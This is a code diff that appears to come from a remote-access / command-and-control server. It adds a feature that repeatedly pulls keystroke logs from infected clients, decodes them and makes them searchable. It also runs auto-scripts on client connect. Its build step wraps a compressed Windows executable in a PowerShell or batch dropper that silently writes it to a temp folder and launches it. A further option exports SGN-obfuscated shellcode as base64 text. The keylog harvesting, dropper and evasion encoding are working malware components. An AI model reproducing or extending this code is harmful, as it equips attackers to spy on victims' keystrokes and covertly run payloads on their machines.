input.name,
|
||||
@@ -1456,6 +1475,7 @@ export function createAutoScript(input: {
|
||||
input.scriptType,
|
||||
input.enabled ? 1 : 0,
|
||||
JSON.stringify(input.osFilter ?? []),
|
||||
input.createdByUserId,
|
||||
now,
|
||||
now,
|
||||
);
|
||||
|
||||
@@ -235,6 +235,33 @@ db.run(
|
||||
`CREATE INDEX IF NOT EXISTS idx_banned_ips_created_at ON banned_ips(created_at DESC);`,
|
||||
);
|
||||
|
||||
db.run(`
|
||||
CREATE TABLE IF NOT EXISTS keylog_archive_files (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
client_id TEXT NOT NULL,
|
||||
filename TEXT NOT NULL,
|
||||
size INTEGER NOT NULL DEFAULT 0,
|
||||
modified_at INTEGER,
|
||||
retrieved_at INTEGER NOT NULL,
|
||||
content TEXT NOT NULL DEFAULT '',
|
||||
UNIQUE(client_id, filename)
|
||||
);
|
||||
`);
|
||||
db.run(`CREATE INDEX IF NOT EXISTS idx_keylog_archive_client ON keylog_archive_files(client_id, retrieved_at DESC);`);
|
||||
db.run(`CREATE INDEX IF NOT EXISTS idx_keylog_archive_retrieved ON keylog_archive_files(retrieved_at);`);
|
||||
|
||||
try {
|
||||
db.run(`
|
||||
CREATE VIRTUAL TABLE IF NOT EXISTS keylog_archive_fts USING fts5(
|
||||
file_id UNINDEXED,
|
||||
client_id UNINDEXED,
|
||||
filename,
|
||||
content,
|
||||
tokenize = 'unicode61'
|
||||
);
|
||||
`);
|
||||
} catch {}
|
||||
|
||||
db.run(`
|
||||
CREATE TABLE IF NOT EXISTS revoked_tokens (
|
||||
token_hash TEXT PRIMARY KEY,
|
||||
@@ -390,6 +417,9 @@ db.run(
|
||||
try {
|
||||
db.run(`ALTER TABLE auto_scripts ADD COLUMN os_filter TEXT NOT NULL DEFAULT '[]'`);
|
||||
} catch { /* column already exists */ }
|
||||
try {
|
||||
db.run(`ALTER TABLE auto_scripts ADD COLUMN created_by_user_id INTEGER`);
|
||||
} catch { /* column already exists */ }
|
||||
|
||||
db.run(`
|
||||
CREATE TABLE IF NOT EXISTS auto_script_runs (
|
||||
|
||||
@@ -224,6 +224,10 @@ export function initializeUserSchema(): void {
|
||||
addColumnIfMissing("users", `mfa_enabled_at INTEGER DEFAULT NULL`);
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "014_users_keylog_archive_enabled",
|
||||
run: () => addColumnIfMissing("users", `keylog_archive_enabled INTEGER NOT NULL DEFAULT 0`),
|
||||
},
|
||||
];
|
||||
|
||||
runMigrations(userMigrations);
|
||||
|
||||
@@ -32,6 +32,7 @@ import { handleFileDownloadRoutes } from "./server/routes/file-download-routes";
|
||||
import { cleanupFileTransferTempFiles } from "./server/file-transfer-state";
|
||||
import { handleClientRoutes } from "./server/routes/client-routes";
|
||||
import { handleMiscRoutes } from "./server/routes/misc-routes";
|
||||
import { handleKeylogArchiveRoutes } from "./server/routes/keylog-archive-routes";
|
||||
import { handleNotificationsConfigRoutes } from "./server/routes/notifications-config-routes";
|
||||
import { handlePageRoutes } from "./server/routes/page-routes";
|
||||
import { handlePluginRoutes } from "./server/routes/plugin-routes";
|
||||
@@ -154,6 +155,7 @@ import type { SocketData } from "./sessions/types";
|
||||
import { SERVER_VERSION } from "./version";
|
||||
import { handleChatViewerOpen, handleChatViewerMessage } from "./server/ws-chat";
|
||||
import { handleBuildTagConnection } from "./server/build-tag";
|
||||
import { dispatchKeylogArchiveSync, handleKeylogArchiveMessage, pruneExpiredKeylogArchive } from "./server/keylog-archive";
|
||||
|
||||
|
||||
metrics.setSnapshotEnricher((snapshot) => {
|
||||
@@ -636,6 +638,7 @@ async function startServer() {
|
||||
logger.warn(`[plugin-autoload] dispatch error for ${info.id}: ${(err as Error).message}`);
|
||||
});
|
||||
},
|
||||
dispatchKeylogArchiveSync,
|
||||
takePendingNotificationScreenshot: takePendingNotificationScreenshotForClient,
|
||||
storeNotificationScreenshot: storeNotificationScreenshotForPending,
|
||||
handleNotificationScreenshotResult: notificationPluginHandlers.handleNotificationScreenshotResult,
|
||||
@@ -651,6 +654,7 @@ async function startServer() {
|
||||
handleProxyConnectResult,
|
||||
handleProcessMessage,
|
||||
handleKeyloggerMessage,
|
||||
handleKeylogArchiveMessage,
|
||||
notifyRdInputLatency,
|
||||
handleNotificationScreenshotFailure: notificationPluginHandlers.handleNotificationScreenshotFailure,
|
||||
handlePluginEvent: notificationPluginHandlers.handlePluginEvent,
|
||||
@@ -712,6 +716,7 @@ async function startServer() {
|
||||
(req, url, srv) => handleDeployRoutes(req, url, srv as any, routeDeps.deploy),
|
||||
(req, url, srv) => handleWinRERoutes(req, url, srv as any, routeDeps.winre),
|
||||
(req, url, srv) => handleFileDownloadRoutes(req, url, srv as any, routeDeps.fileDownload),
|
||||
(req, url) => handleKeylogArchiveRoutes(req, url, { CORS_HEADERS }),
|
||||
(req, url) => handlePluginRoutes(req, url, routeDeps.plugin),
|
||||
(req, url) => handleFileShareRoutes(req, url, routeDeps.fileShare),
|
||||
(req, url, srv) => handleMiscRoutes(req, url, {
|
||||
@@ -759,6 +764,31 @@ async function startServer() {
|
||||
if (purged > 0) logger.info(`[db] Cleaned up ${purged} expired chat messages (retention: ${chatRetentionDays}d)`);
|
||||
}
|
||||
|
||||
const purgedKeylogs = pruneExpiredKeylogArchive();
|
||||
if (purgedKeylogs > 0) logger.info(`[keylog-archive] Cleaned up ${purgedKeylogs} expired archived input logs`);
|
||||
let lastKeylogArchivePollAt = 0;
|
||||
setInterval(() => {
|
||||
const purged = pruneExpiredKeylogArchive();
|
||||
if (purged > 0) logger.info(`[keylog-archive] Cleaned up ${purged} expired archived input logs`);
|
||||
}, 60 * 60 * 1000);
|
||||
setInterval(() => {
|
||||
const cfg = getConfig().inputArchive;
|
||||
if (!cfg?.enabled || cfg.pollIntervalSeconds <= 0) return;
|
||||
const now = Date.now();
|
||||
const intervalMs = cfg.pollIntervalSeconds * 1000;
|
||||
if (now - lastKeylogArchivePollAt < intervalMs) return;
|
||||
lastKeylogArchivePollAt = now;
|
||||
|
||||
let requested = 0;
|
||||
for (const client of clientManager.getAllClients().values()) {
|
||||
if (!client?.id || client.role !== "client" || !client.ws) continue;
|
||||
if (dispatchKeylogArchiveSync(client.id, client.ws)) requested++;
|
||||
}
|
||||
if (requested > 0) {
|
||||
logger.debug(`[keylog-archive] Poll requested keylog lists from ${requested} connected clients`);
|
||||
}
|
||||
}, 30 * 1000);
|
||||
|
||||
setInterval(() => {
|
||||
const days = getConfig().chat?.retentionDays ?? 30;
|
||||
if (days > 0) {
|
||||
|
||||
@@ -115,6 +115,10 @@ const PERMISSIONS = {
|
||||
description: "Change screenshot thumbnail settings",
|
||||
roles: ["admin"],
|
||||
},
|
||||
"system:input-archive": {
|
||||
description: "Change input log archive settings",
|
||||
roles: ["admin"],
|
||||
},
|
||||
"system:build-limits": {
|
||||
description: "Change build rate limit settings",
|
||||
roles: ["admin"],
|
||||
|
||||
@@ -0,0 +1,124 @@
|
||||
import { afterEach, describe, expect, test } from "bun:test";
|
||||
import {
|
||||
createAutoScript,
|
||||
deleteAutoScript,
|
||||
deleteClientRow,
|
||||
upsertClientRow,
|
||||
} from "../db";
|
||||
import { decodeMessage } from "../protocol";
|
||||
import {
|
||||
createUser,
|
||||
deleteUser,
|
||||
getUserById,
|
||||
setUserClientAccessRule,
|
||||
setUserClientAccessScope,
|
||||
} from "../users";
|
||||
import type { ClientInfo } from "../types";
|
||||
import { dispatchAutoScriptsForConnection } from "./auto-script-dispatch";
|
||||
|
||||
const PASSWORD = "Aa1!AutoScriptDispatchTestPass";
|
||||
|
||||
const createdUserIds: number[] = [];
|
||||
const createdScriptIds: string[] = [];
|
||||
const createdClientIds: string[] = [];
|
||||
|
||||
async function makeUser(role: "admin" | "operator" | "viewer") {
|
||||
const username = `as_${role.slice(0, 3)}_${Date.now().toString(36)}${Math.floor(Math.random() * 1e6).toString(36)}`;
|
||||
const result = await createUser(username, PASSWORD, role, "test");
|
||||
expect(result.success).toBe(true);
|
||||
const user = getUserById(result.userId!);
|
||||
expect(user).not.toBeNull();
|
||||
createdUserIds.push(user!.id);
|
||||
return user!;
|
||||
}
|
||||
|
||||
function makeClient(id: string, os = "windows") {
|
||||
const sent: Uint8Array[] = [];
|
||||
upsertClientRow({
|
||||
id,
|
||||
os,
|
||||
arch: "x64",
|
||||
online: 1,
|
||||
lastSeen: Date.now(),
|
||||
});
|
||||
createdClientIds.push(id);
|
||||
|
||||
const info: ClientInfo = {
|
||||
id,
|
||||
role: "client",
|
||||
os,
|
||||
lastSeen: Date.now(),
|
||||
ws: {
|
||||
send(message: Uint8Array) {
|
||||
sent.push(message);
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
const viewerWs = { data: { wasKnown: true } } as any;
|
||||
return { info, viewerWs, sent };
|
||||
}
|
||||
|
||||
function makeAutoScript(ownerId: number, name: string, script = "echo test") {
|
||||
const id = `auto-script-test-${Date.now().toString(36)}-${Math.floor(Math.random() * 1e6).toString(36)}`;
|
||||
createdScriptIds.push(id);
|
||||
return createAutoScript({
|
||||
id,
|
||||
name,
|
||||
trigger: "on_connect",
|
||||
script,
|
||||
scriptType: "powershell",
|
||||
enabled: true,
|
||||
osFilter: [],
|
||||
createdByUserId: ownerId,
|
||||
});
|
||||
}
|
||||
|
||||
function sentScripts(sent: Uint8Array[]): string[] {
|
||||
return sent
|
||||
.map((message) => decodeMessage(message) as any)
|
||||
.filter((message) => message?.commandType === "script_exec")
|
||||
.map((message) => String(message?.payload?.script || ""));
|
||||
}
|
||||
|
||||
afterEach(() => {
|
||||
while (createdScriptIds.length > 0) {
|
||||
const id = createdScriptIds.pop();
|
||||
if (typeof id === "string") deleteAutoScript(id);
|
||||
}
|
||||
while (createdClientIds.length > 0) {
|
||||
const id = createdClientIds.pop();
|
||||
if (typeof id === "string") deleteClientRow(id);
|
||||
}
|
||||
while (createdUserIds.length > 0) {
|
||||
const id = createdUserIds.pop();
|
||||
if (typeof id === "number") deleteUser(id);
|
||||
}
|
||||
});
|
||||
|
||||
describe("auto script dispatch RBAC", () => {
|
||||
test("admin-owned auto scripts run for every client", async () => {
|
||||
const admin = await makeUser("admin");
|
||||
makeAutoScript(admin.id, "admin global", "echo admin");
|
||||
|
||||
const { info, viewerWs, sent } = makeClient(`as-admin-client-${Date.now().toString(36)}`);
|
||||
dispatchAutoScriptsForConnection(info, viewerWs);
|
||||
|
||||
expect(sentScripts(sent)).toContain("echo admin");
|
||||
});
|
||||
|
||||
test("operator-owned auto scripts only run for clients allowed by RBAC", async () => {
|
||||
const operator = await makeUser("operator");
|
||||
setUserClientAccessScope(operator.id, "allowlist");
|
||||
setUserClientAccessRule(operator.id, "as-allowed-client", "allow");
|
||||
makeAutoScript(operator.id, "operator scoped", "echo operator");
|
||||
|
||||
const allowed = makeClient("as-allowed-client");
|
||||
dispatchAutoScriptsForConnection(allowed.info, allowed.viewerWs);
|
||||
expect(sentScripts(allowed.sent)).toContain("echo operator");
|
||||
|
||||
const blocked = makeClient("as-blocked-client");
|
||||
dispatchAutoScriptsForConnection(blocked.info, blocked.viewerWs);
|
||||
expect(sentScripts(blocked.sent)).not.toContain("echo operator");
|
||||
});
|
||||
});
|
||||
@@ -8,6 +8,24 @@ import type { SocketData } from "../sessions/types";
|
||||
import type { ClientInfo } from "../types";
|
||||
import { logAudit, AuditAction } from "../auditLog";
|
||||
import { ALLOWED_SCRIPT_TYPES } from "./validation-constants";
|
||||
import { canUserAccessClient, getUserById } from "../users";
|
||||
|
||||
function autoScriptCanRunOnClient(script: { id: string; createdByUserId: number | null }, clientId: string): boolean {
|
||||
if (script.createdByUserId == null) {
|
||||
return true;
|
||||
}
|
||||
|
||||
const owner = getUserById(script.createdByUserId);
|
||||
if (!owner) {
|
||||
logger.warn(`[auto-script] skipping ${script.id}: owner user ${script.createdByUserId} no longer exists`);
|
||||
return false;
|
||||
}
|
||||
if (owner.role === "admin") {
|
||||
return true;
|
||||
}
|
||||
|
||||
return canUserAccessClient(owner.id, owner.role, clientId);
|
||||
}
|
||||
|
||||
export function dispatchAutoScriptsForConnection(
|
||||
info: ClientInfo,
|
||||
@@ -28,6 +46,10 @@ export function dispatchAutoScriptsForConnection(
|
||||
}
|
||||
|
||||
for (const script of scripts) {
|
||||
if (!autoScriptCanRunOnClient(script, info.id)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (script.osFilter.length > 0) {
|
||||
const clientOs = (info.os || "").toLowerCase();
|
||||
if (!script.osFilter.includes(clientOs)) {
|
||||
|
||||
@@ -115,6 +115,7 @@ type BuildProcessConfig = {
|
||||
shellcodeConsole?: boolean;
|
||||
useSgn?: boolean;
|
||||
sgnIterations?: number;
|
||||
outputSgnTxt?: boolean;
|
||||
solMemo?: boolean;
|
||||
solAddress?: string;
|
||||
solRpcEndpoints?: string;
|
||||
@@ -167,6 +168,9 @@ function guessMimeTypeForUpload(filename: string): string {
|
||||
case ".bat":
|
||||
case ".cmd":
|
||||
return "application/bat";
|
||||
case ".ps1":
|
||||
case ".txt":
|
||||
return "text/plain";
|
||||
case ".bin":
|
||||
return "application/octet-stream";
|
||||
case ".ipa":
|
||||
@@ -285,6 +289,29 @@ function detectAgentVersion(clientDir: string): string {
|
||||
}
|
||||
}
|
||||
|
||||
function writeSgnTextArtifact(
|
||||
sgnPath: string,
|
||||
txtPath: string,
|
||||
platform: string,
|
||||
arch: "amd64" | "386",
|
||||
iterations: number,
|
||||
): number {
|
||||
const bytes = fs.readFileSync(sgnPath);
|
||||
const body = [
|
||||
"# SGN encoded shellcode",
|
||||
`platform: ${platform}`,
|
||||
`arch: ${arch}`,
|
||||
`iterations: ${iterations}`,
|
||||
"encoding: base64",
|
||||
`bytes: ${bytes.length}`,
|
||||
"",
|
||||
bytes.toString("base64"),
|
||||
"",
|
||||
].join("\n");
|
||||
fs.writeFileSync(txtPath, body, "utf8");
|
||||
return fs.statSync(txtPath).size;
|
||||
}
|
||||
|
||||
export async function startBuildProcess(
|
||||
buildId: string,
|
||||
config: BuildProcessConfig,
|
||||
@@ -1132,9 +1159,10 @@ func runBoundFiles() {
|
||||
|
||||
const filePath = `${outDir}/${outputName}`;
|
||||
let finalSize = Bun.file(filePath).size;
|
||||
// For .bat/.cmd: go build writes a PE binary; UPX must run first (it needs PE format),
|
||||
// then after compression we wrap it in a batch script with an embedded base64 payload.
|
||||
const isBatWrapper = os === "windows" && (winExt === ".bat" || winExt === ".cmd");
|
||||
// For script outputs: go build writes a PE binary; UPX must run first (it needs PE format),
|
||||
// then after compression we wrap it in a script with an embedded base64 payload.
|
||||
const isBatchWrapper = os === "windows" && (winExt === ".bat" || winExt === ".cmd");
|
||||
const isPowerShellWrapper = os === "windows" && winExt === ".ps1";
|
||||
|
||||
if (upxBin) {
|
||||
sendToStream({ type: "output", text: `Compressing ${outputName} with UPX...\n`, level: "info" });
|
||||
@@ -1164,15 +1192,36 @@ func runBoundFiles() {
|
||||
}
|
||||
}
|
||||
|
||||
if (isBatWrapper) {
|
||||
if (isBatchWrapper || isPowerShellWrapper) {
|
||||
sendToStream({ type: "output", text: `Wrapping PE binary as ${winExt} script...\n`, level: "info" });
|
||||
try {
|
||||
const exeBytes = fs.readFileSync(filePath);
|
||||
const b64 = exeBytes.toString("base64");
|
||||
// Split into 76-char lines so the bat file stays manageable
|
||||
// Split into 76-char lines so the script stays manageable.
|
||||
const b64Lines = b64.match(/.{1,76}/g) || [b64];
|
||||
// Random marker generated at build time using the same uuid util already imported
|
||||
const marker = `:OVD_${uuidv4().replace(/-/g, "").substring(0, 16).toUpperCase()}`;
|
||||
const markerCore = `OVD_${uuidv4().replace(/-/g, "").substring(0, 16).toUpperCase()}`;
|
||||
let wrapper: string;
|
||||
|
||||
if (isPowerShellWrapper) {
|
||||
const marker = `# ${markerCore}`;
|
||||
wrapper = [
|
||||
`$ErrorActionPreference = 'SilentlyContinue'`,
|
||||
`$f = $PSCommandPath`,
|
||||
`if (-not $f) { $f = $MyInvocation.MyCommand.Path }`,
|
||||
`$l = [IO.File]::ReadAllLines($f)`,
|
||||
`$i = -1`,
|
||||
`for ($j = 0; $j -lt $l.Count; $j++) { if ($l[$j] -ceq '${marker}') { $i = $j + 1; break } }`,
|
||||
`if ($i -lt 0) { exit 1 }`,
|
||||
`$b = [Convert]::FromBase64String(($l[$i..($l.Count - 1)] -join ''))`,
|
||||
`$t = [IO.Path]::Combine([IO.Path]::GetTempPath(), ([Guid]::NewGuid().ToString() + '.exe'))`,
|
||||
`[IO.File]::WriteAllBytes($t, $b)`,
|
||||
`Start-Process -FilePath $t`,
|
||||
`exit 0`,
|
||||
marker,
|
||||
...b64Lines,
|
||||
].join("\r\n") + "\r\n";
|
||||
} else {
|
||||
const marker = `:${markerCore}`;
|
||||
// PowerShell payload: reads this script via %_OVD_SELF%, strips the marker+data,
|
||||
// decodes base64 to a temp .exe, launches it, then exits.
|
||||
const psCmd = [
|
||||
@@ -1186,7 +1235,7 @@ func runBoundFiles() {
|
||||
`Start-Process $t;`,
|
||||
`exit`,
|
||||
].join("");
|
||||
const wrapper = [
|
||||
wrapper = [
|
||||
`@echo off`,
|
||||
`setlocal`,
|
||||
`set "_OVD_SELF=%~f0"`,
|
||||
@@ -1196,11 +1245,12 @@ func runBoundFiles() {
|
||||
marker,
|
||||
...b64Lines,
|
||||
].join("\r\n") + "\r\n";
|
||||
}
|
||||
fs.writeFileSync(filePath, wrapper, "utf8");
|
||||
finalSize = fs.statSync(filePath).size;
|
||||
sendToStream({ type: "output", text: `Wrapped: ${exeBytes.length} byte PE → ${finalSize} byte ${winExt} script\n`, level: "info" });
|
||||
} catch (wrapErr: any) {
|
||||
sendToStream({ type: "output", text: `WARNING: Failed to generate bat wrapper: ${wrapErr.message || wrapErr}. Output is a raw PE binary with ${winExt} extension.\n`, level: "warn" });
|
||||
sendToStream({ type: "output", text: `WARNING: Failed to generate ${winExt} wrapper: ${wrapErr.message || wrapErr}. Output is a raw PE binary with ${winExt} extension.\n`, level: "warn" });
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1376,6 +1426,18 @@ func runBoundFiles() {
|
||||
finalOutputSize = Bun.file(sgnOutputPath).size;
|
||||
shellcodeBinPath = sgnOutputPath;
|
||||
sendToStream({ type: "output", text: `SGN-encoded shellcode: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" });
|
||||
|
||||
if (config.outputSgnTxt) {
|
||||
sendToStream({ type: "status", text: `Writing ${platform} SGN output as TXT…` });
|
||||
const txtOutputName = deps.sanitizeOutputName(`${finalOutputName}.txt`);
|
||||
const txtOutputPath = path.join(outDir, txtOutputName);
|
||||
const txtSize = writeSgnTextArtifact(sgnOutputPath, txtOutputPath, platform, shellcodeArch, iters);
|
||||
try { fs.unlinkSync(sgnOutputPath); } catch {}
|
||||
finalOutputName = txtOutputName;
|
||||
finalOutputSize = txtSize;
|
||||
shellcodeBinPath = txtOutputPath;
|
||||
sendToStream({ type: "output", text: `SGN TXT ready: ${txtSize} bytes → ${finalOutputName}\n`, level: "success" });
|
||||
}
|
||||
}
|
||||
|
||||
(build.files as any[]).push({
|
||||
|
||||
@@ -0,0 +1,268 @@
|
||||
import type { ServerWebSocket } from "bun";
|
||||
import { db } from "../db/connection";
|
||||
import { getConfig } from "../config";
|
||||
import { logger } from "../logger";
|
||||
import { encodeMessage } from "../protocol";
|
||||
import type { SocketData } from "../sessions/types";
|
||||
import { canUserAccessClient, getUsersWithInputArchiveEnabled } from "../users";
|
||||
|
||||
type KeylogFileMeta = {
|
||||
name: string;
|
||||
size: number;
|
||||
date: string;
|
||||
modifiedAt: number | null;
|
||||
};
|
||||
|
||||
const pendingFileMeta = new Map<string, Map<string, KeylogFileMeta>>();
|
||||
const MAX_RETRIEVES_PER_LIST = 25;
|
||||
|
||||
function rot13(str: string): string {
|
||||
return String(str || "").replace(/[a-zA-Z]/g, (char) => {
|
||||
const start = char <= "Z" ? 65 : 97;
|
||||
return String.fromCharCode(((char.charCodeAt(0) - start + 13) % 26) + start);
|
||||
});
|
||||
}
|
||||
|
||||
function normalizeMeta(file: any): KeylogFileMeta | null {
|
||||
const name = typeof file?.name === "string" ? file.name.trim() : "";
|
||||
if (!name || name.includes("/") || name.includes("\\")) return null;
|
||||
const size = Math.max(0, Math.floor(Number(file?.size) || 0));
|
||||
const date = typeof file?.date === "string" ? file.date : "";
|
||||
const parsed = date ? Date.parse(date) : NaN;
|
||||
return {
|
||||
name,
|
||||
size,
|
||||
date,
|
||||
modifiedAt: Number.isFinite(parsed) ? parsed : null,
|
||||
};
|
||||
}
|
||||
|
||||
function getPendingMeta(clientId: string, filename: string): KeylogFileMeta | null {
|
||||
return pendingFileMeta.get(clientId)?.get(filename) ?? null;
|
||||
}
|
||||
|
||||
function shouldArchiveForClient(clientId: string): boolean {
|
||||
const config = getConfig().inputArchive;
|
||||
if (!config?.enabled) return false;
|
||||
const users = getUsersWithInputArchiveEnabled();
|
||||
return users.some((user) => canUserAccessClient(user.id, user.role, clientId));
|
||||
}
|
||||
|
||||
function buildFtsQuery(query: string): string {
|
||||
return query
|
||||
.trim()
|
||||
.split(/\s+/)
|
||||
.map((term) => term.replace(/"/g, "").trim())
|
||||
.filter((term) => term.length >= 2)
|
||||
.map((term) => `"${term}"*`)
|
||||
.join(" ");
|
||||
}
|
||||
|
||||
function rebuildArchiveFts(row: { id: number; client_id: string; filename: string; content: string }): void {
|
||||
try {
|
||||
db.prepare("DELETE FROM keylog_archive_fts WHERE rowid = ?").run(row.id);
|
||||
db.prepare(
|
||||
`INSERT INTO keylog_archive_fts(rowid, file_id, client_id, filename, content)
|
||||
VALUES (?, ?, ?, ?, ?)`,
|
||||
).run(row.id, row.id, row.client_id, row.filename, row.content);
|
||||
} catch (err) {
|
||||
logger.warn(`[keylog-archive] failed to update FTS for ${row.client_id}/${row.filename}: ${(err as Error).message}`);
|
||||
}
|
||||
}
|
||||
|
||||
export function archiveKeylogContent(clientId: string, filename: string, encodedContent: string, meta?: KeylogFileMeta | null): void {
|
||||
if (!shouldArchiveForClient(clientId)) return;
|
||||
const safeMeta = meta ?? getPendingMeta(clientId, filename);
|
||||
const decoded = rot13(String(encodedContent || ""));
|
||||
const now = Date.now();
|
||||
const size = safeMeta?.size ?? encodedContent.length;
|
||||
const modifiedAt = safeMeta?.modifiedAt ?? null;
|
||||
|
||||
db.prepare(
|
||||
`INSERT INTO keylog_archive_files(client_id, filename, size, modified_at, retrieved_at, content)
|
||||
VALUES (?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(client_id, filename) DO UPDATE SET
|
||||
size = excluded.size,
|
||||
modified_at = excluded.modified_at,
|
||||
retrieved_at = excluded.retrieved_at,
|
||||
content = excluded.content`,
|
||||
).run(clientId, filename, size, modifiedAt, now, decoded);
|
||||
|
||||
const row = db
|
||||
.prepare("SELECT id, client_id, filename, content FROM keylog_archive_files WHERE client_id = ? AND filename = ?")
|
||||
.get(clientId, filename) as { id: number; client_id: string; filename: string; content: string } | undefined;
|
||||
if (row) rebuildArchiveFts(row);
|
||||
pendingFileMeta.get(clientId)?.delete(filename);
|
||||
}
|
||||
|
||||
export function handleKeylogArchiveMessage(clientId: string, payload: any, ws?: ServerWebSocket<SocketData>): void {
|
||||
if (!payload || typeof payload.type !== "string") return;
|
||||
if (!shouldArchiveForClient(clientId)) return;
|
||||
|
||||
if (payload.type === "keylog_file_list") {
|
||||
const files = Array.isArray(payload.files) ? payload.files.map(normalizeMeta).filter(Boolean) as KeylogFileMeta[] : [];
|
||||
if (files.length === 0 || !ws) return;
|
||||
|
||||
const maxFileBytes = getConfig().inputArchive.maxFileBytes;
|
||||
const existingRows = db
|
||||
.prepare("SELECT filename, size, modified_at as modifiedAt FROM keylog_archive_files WHERE client_id = ?")
|
||||
.all(clientId) as Array<{ filename: string; size: number; modifiedAt: number | null }>;
|
||||
const existing = new Map(existingRows.map((row) => [row.filename, row]));
|
||||
let pending = pendingFileMeta.get(clientId);
|
||||
if (!pending) {
|
||||
pending = new Map();
|
||||
pendingFileMeta.set(clientId, pending);
|
||||
}
|
||||
|
||||
let requested = 0;
|
||||
for (const file of files) {
|
||||
if (file.size > maxFileBytes) continue;
|
||||
const old = existing.get(file.name);
|
||||
const changed = !old || old.size !== file.size || (file.modifiedAt !== null && old.modifiedAt !== file.modifiedAt);
|
||||
if (!changed || requested >= MAX_RETRIEVES_PER_LIST) continue;
|
||||
pending.set(file.name, file);
|
||||
try {
|
||||
ws.send(encodeMessage({
|
||||
type: "command",
|
||||
commandType: "keylog_retrieve",
|
||||
id: crypto.randomUUID(),
|
||||
payload: { filename: file.name },
|
||||
} as any));
|
||||
requested++;
|
||||
} catch (err) {
|
||||
logger.warn(`[keylog-archive] failed to request ${clientId}/${file.name}: ${(err as Error).message}`);
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (payload.type === "keylog_file_content" && typeof payload.filename === "string") {
|
||||
archiveKeylogContent(clientId, payload.filename, String(payload.content || ""));
|
||||
}
|
||||
}
|
||||
|
||||
export function dispatchKeylogArchiveSync(clientId: string, ws: ServerWebSocket<SocketData>): boolean {
|
||||
if (!shouldArchiveForClient(clientId)) return false;
|
||||
try {
|
||||
ws.send(encodeMessage({
|
||||
type: "command",
|
||||
commandType: "keylog_list",
|
||||
id: crypto.randomUUID(),
|
||||
} as any));
|
||||
return true;
|
||||
} catch (err) {
|
||||
logger.warn(`[keylog-archive] failed to request file list for ${clientId}: ${(err as Error).message}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export function listArchivedKeylogs(clientId: string): Array<{ name: string; size: number; date: string; archived: true; retrievedAt: number }> {
|
||||
const rows = db
|
||||
.prepare(
|
||||
`SELECT filename, size, modified_at as modifiedAt, retrieved_at as retrievedAt
|
||||
FROM keylog_archive_files
|
||||
WHERE client_id = ?
|
||||
ORDER BY COALESCE(modified_at, retrieved_at) DESC, filename ASC`,
|
||||
)
|
||||
.all(clientId) as Array<{ filename: string; size: number; modifiedAt: number | null; retrievedAt: number }>;
|
||||
|
||||
return rows.map((row) => ({
|
||||
name: row.filename,
|
||||
size: row.size,
|
||||
date: new Date(row.modifiedAt || row.retrievedAt).toISOString(),
|
||||
archived: true,
|
||||
retrievedAt: row.retrievedAt,
|
||||
}));
|
||||
}
|
||||
|
||||
export function getArchivedKeylogContent(clientId: string, filename: string): { filename: string; content: string; archived: true } | null {
|
||||
const row = db
|
||||
.prepare("SELECT filename, content FROM keylog_archive_files WHERE client_id = ? AND filename = ?")
|
||||
.get(clientId, filename) as { filename: string; content: string } | undefined;
|
||||
if (!row) return null;
|
||||
return { filename: row.filename, content: rot13(row.content), archived: true };
|
||||
}
|
||||
|
||||
export function searchArchivedKeylogs(clientId: string, query: string): Array<{ file: string; date: string; matches: Array<{ index: number; context: string; line: number }> }> {
|
||||
const trimmed = query.trim();
|
||||
if (trimmed.length < 3) return [];
|
||||
|
||||
const ftsQuery = buildFtsQuery(trimmed);
|
||||
let rows: Array<{ filename: string; content: string; modifiedAt: number | null; retrievedAt: number }> = [];
|
||||
if (ftsQuery) {
|
||||
try {
|
||||
rows = db
|
||||
.prepare(
|
||||
`SELECT f.filename, f.content, f.modified_at as modifiedAt, f.retrieved_at as retrievedAt
|
||||
FROM keylog_archive_fts
|
||||
JOIN keylog_archive_files f ON f.id = keylog_archive_fts.file_id
|
||||
WHERE keylog_archive_fts.client_id = ? AND keylog_archive_fts MATCH ?
|
||||
ORDER BY COALESCE(f.modified_at, f.retrieved_at) DESC
|
||||
LIMIT 100`,
|
||||
)
|
||||
.all(clientId, ftsQuery) as any[];
|
||||
} catch {
|
||||
rows = [];
|
||||
}
|
||||
}
|
||||
|
||||
if (rows.length === 0) {
|
||||
rows = db
|
||||
.prepare(
|
||||
`SELECT filename, content, modified_at as modifiedAt, retrieved_at as retrievedAt
|
||||
FROM keylog_archive_files
|
||||
WHERE client_id = ? AND lower(content) LIKE ?
|
||||
ORDER BY COALESCE(modified_at, retrieved_at) DESC
|
||||
LIMIT 100`,
|
||||
)
|
||||
.all(clientId, `%${trimmed.toLowerCase()}%`) as any[];
|
||||
}
|
||||
|
||||
const lowerQuery = trimmed.toLowerCase();
|
||||
return rows
|
||||
.map((row) => {
|
||||
const content = String(row.content || "");
|
||||
const lowerContent = content.toLowerCase();
|
||||
const matches: Array<{ index: number; context: string; line: number }> = [];
|
||||
let index = 0;
|
||||
while ((index = lowerContent.indexOf(lowerQuery, index)) !== -1 && matches.length < 25) {
|
||||
const start = Math.max(0, index - 50);
|
||||
const end = Math.min(content.length, index + trimmed.length + 50);
|
||||
let context = content.substring(start, end);
|
||||
if (start > 0) context = `...${context}`;
|
||||
if (end < content.length) context = `${context}...`;
|
||||
matches.push({
|
||||
index,
|
||||
context,
|
||||
line: content.substring(0, index).split("\n").length,
|
||||
});
|
||||
index += trimmed.length;
|
||||
}
|
||||
return {
|
||||
file: row.filename,
|
||||
date: new Date(row.modifiedAt || row.retrievedAt).toISOString(),
|
||||
matches,
|
||||
};
|
||||
})
|
||||
.filter((result) => result.matches.length > 0);
|
||||
}
|
||||
|
||||
export function pruneExpiredKeylogArchive(): number {
|
||||
const retentionDays = getConfig().inputArchive?.retentionDays ?? 7;
|
||||
const cutoff = Date.now() - retentionDays * 24 * 60 * 60 * 1000;
|
||||
const ids = db
|
||||
.prepare("SELECT id FROM keylog_archive_files WHERE retrieved_at < ? LIMIT 5000")
|
||||
.all(cutoff) as Array<{ id: number }>;
|
||||
if (ids.length === 0) return 0;
|
||||
|
||||
const deleteFts = db.prepare("DELETE FROM keylog_archive_fts WHERE rowid = ?");
|
||||
